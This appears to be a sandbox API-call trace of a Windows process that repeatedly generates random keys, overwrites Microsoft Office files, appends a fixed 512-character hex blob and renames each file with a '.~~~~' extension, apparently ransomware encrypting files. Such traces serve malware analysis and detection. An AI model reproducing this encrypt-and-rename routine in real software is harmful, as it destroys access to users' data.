	[0132.320] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.320] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.320] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.321] CloseHandle (hObject=0x128) returned 1
	[0132.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6f00
	[0132.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif.~~~~")) returned 1
	[0132.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6f00 | out: hHeap=0x300000) returned 1
	[0132.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.323] GetLastError () returned 0x0
	[0132.325] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.326] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.326] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.327] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25231682459) returned 1
	[0132.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb84faf30, dwHighDateTime=0x1d60e1e)) 
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa890
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa890 | out: hHeap=0x300000) returned 1
	[0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398be8
	[0132.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398be8 | out: hHeap=0x300000) returned 1
	[0132.328] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.328] GetLastError () returned 0x0
	[0132.328] GetLastError () returned 0x0
	[0132.328] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.329] GetLastError () returned 0x0
	[0132.329] GetLastError () returned 0x0
	[0132.358] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff46a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.358] WriteFile (in: hFile=0x128, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xb96, lpOverlapped=0x0) returned 1
	[0132.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.364] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.364] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.364] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.364] CloseHandle (hObject=0x128) returned 1
	[0132.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x29df1d8
	[0132.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css.~~~~")) returned 1
	[0132.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29df1d8 | out: hHeap=0x300000) returned 1
	[0132.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.367] GetLastError () returned 0x0
	[0132.452] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.454] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.454] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.454] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25244409571) returned 1
	[0132.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8651b90, dwHighDateTime=0x1d60e1e)) 
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28094c0
	[0132.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28094c0 | out: hHeap=0x300000) returned 1
	[0132.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.455] GetLastError () returned 0x0
	[0132.455] GetLastError () returned 0x0
	[0132.456] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.456] GetLastError () returned 0x0
	[0132.456] GetLastError () returned 0x0
	[0132.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.457] WriteFile (in: hFile=0x130, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xde, lpOverlapped=0x0) returned 1
	[0132.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.460] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.460] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.461] CloseHandle (hObject=0x130) returned 1
	[0132.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0650
	[0132.461] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif.~~~~")) returned 1
	[0132.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0650 | out: hHeap=0x300000) returned 1
	[0132.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.462] GetLastError () returned 0x0
	[0132.463] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.464] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.464] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.464] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25245446748) returned 1
	[0132.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8651b90, dwHighDateTime=0x1d60e1e)) 
	[0132.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28096b8
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28096b8 | out: hHeap=0x300000) returned 1
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.465] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.466] GetLastError () returned 0x0
	[0132.466] GetLastError () returned 0x0
	[0132.466] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.466] GetLastError () returned 0x0
	[0132.466] GetLastError () returned 0x0
	[0132.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.468] WriteFile (in: hFile=0x130, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x155, lpOverlapped=0x0) returned 1
	[0132.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.470] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.470] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.470] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.470] CloseHandle (hObject=0x130) returned 1
	[0132.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif.~~~~")) returned 1
	[0132.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.472] GetLastError () returned 0x0
	[0132.472] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.473] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.473] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.474] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25246371141) returned 1
	[0132.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8677cf0, dwHighDateTime=0x1d60e1e)) 
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809680
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809680 | out: hHeap=0x300000) returned 1
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.475] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.475] GetLastError () returned 0x0
	[0132.475] GetLastError () returned 0x0
	[0132.475] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.475] GetLastError () returned 0x0
	[0132.475] GetLastError () returned 0x0
	[0132.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.477] WriteFile (in: hFile=0x130, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xde, lpOverlapped=0x0) returned 1
	[0132.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.478] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.479] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.479] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.479] CloseHandle (hObject=0x130) returned 1
	[0132.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.479] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif.~~~~")) returned 1
	[0132.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.481] GetLastError () returned 0x0
	[0132.486] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.487] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.487] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.487] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25247741092) returned 1
	[0132.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb869de50, dwHighDateTime=0x1d60e1e)) 
	[0132.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809488
	[0132.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809488 | out: hHeap=0x300000) returned 1
	[0132.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.488] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.488] GetLastError () returned 0x0
	[0132.489] GetLastError () returned 0x0
